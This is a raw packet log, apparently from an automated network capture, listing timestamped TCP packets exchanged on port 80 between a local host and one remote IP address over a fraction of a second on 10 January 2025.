Jan 10, 2025 21:33:59.390258074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.390304089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.390316010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.390352964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.392184019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.392211914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.392247915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.392257929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.392267942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.392297983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.397263050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.418100119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.430977106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.431013107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.431025982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.431039095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.431041002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.431052923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.431063890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.431066990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.431080103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.431088924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.431114912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.431132078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.431149006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.431159973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.431180954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.431183100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.431193113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.431205034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.431215048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.431235075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.431377888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.431389093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.431432009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.436027050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.470002890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470020056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470031023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470052958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470065117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470087051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470098972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470118046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470129967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470225096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.470225096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.470262051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470288038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470309973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470314026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.470323086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470335007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470346928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.470375061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.470460892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470479012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470489979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470501900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470513105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.470537901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470539093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.470698118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470732927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.470757008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470791101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470803022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470825911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.470830917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470844030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470869064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470869064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.470906973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.470912933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470926046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470937967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.470967054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.471364975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471375942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471386909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471398115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471402884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.471410990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471421957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471430063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.471434116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471446037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471458912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.471461058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471472979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471474886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.471487999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471498013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471503019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.471524954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.471685886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471697092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471721888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.471811056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471822977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471832991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471844912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471853018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.471857071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471869946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471879959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.471883059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471899033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.471904039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471915960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471923113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.471934080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471945047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471950054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.471956968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471968889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471982002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471983910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.471993923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.471999884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.472006083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472012997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472043991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.472676992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472688913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472701073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472793102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472811937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472822905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472834110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472846031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472863913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472877979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472889900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472902060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472913980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472924948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472937107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472949982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472960949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472973108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.472985983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.473064899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.473808050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.473824978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.473835945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.473848104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.473859072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.473869085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.473871946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.473875046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.473881960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.473886967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.473890066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.473892927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.473898888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.473905087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.473911047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.473915100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.473972082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.476933956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.476947069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.476958036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.476977110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.476993084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.476994991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.477008104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.477019072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.477024078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.477032900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.477034092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.477046013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.477075100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.477096081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.499140024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.504781008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.517838955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.517874002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.517885923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.517913103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.517923117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.517935038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.517966032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.517977953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.517977953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.517992020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.517999887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.518003941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.518027067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.518068075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.518078089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.518096924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.518104076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.518110991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.518121958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.518134117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.518137932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.518146992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.518156052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.518163919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.518179893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.518182039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.518224001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.556886911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.556914091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.556926966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.556938887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.556952953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.556963921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.556976080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.556998968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557012081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557022095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557040930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557053089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557065964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557077885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557090998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557104111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557111025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557111025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557111025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557143927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557148933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557148933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557148933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557156086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557178974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557190895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557200909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557213068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557224989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557224989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557257891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557291031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557327032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557364941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557382107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557391882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557410955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557423115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557426929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557460070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557466030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557473898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557488918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557506084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557596922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557609081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557621002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557632923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557658911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557682991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557693958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557706118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557717085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557734966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557740927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557750940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557770967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557784081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557823896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557837009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557847977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557859898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557871103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557909012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.557940006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.557986975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.558000088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.558015108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.558020115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.558028936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.558048010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.558135033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.558156967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.558167934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.558178902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.558182955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.558192968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.558204889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.558217049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.558231115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.562134981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562185049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.562254906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562267065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562279940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562290907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562304020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.562310934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562330008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562330961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.562344074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562355995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562367916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562374115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.562377930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562390089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562397003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.562417984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562418938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.562441111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562453032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562462091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562464952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.562474966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562486887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562489986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.562500000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562511921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.562514067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562525988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562536955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562536955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.562566996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.562762976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562773943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562784910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562794924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562798023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.562808037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562819958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562827110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.562839985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562846899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.562850952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562864065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562876940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562886953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.562890053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562903881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.562913895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.562927008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.563014984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.563059092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.563076019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.563086987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.563097954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.563102961 CET	80	49704	193.143.1.205	192.168.2.5
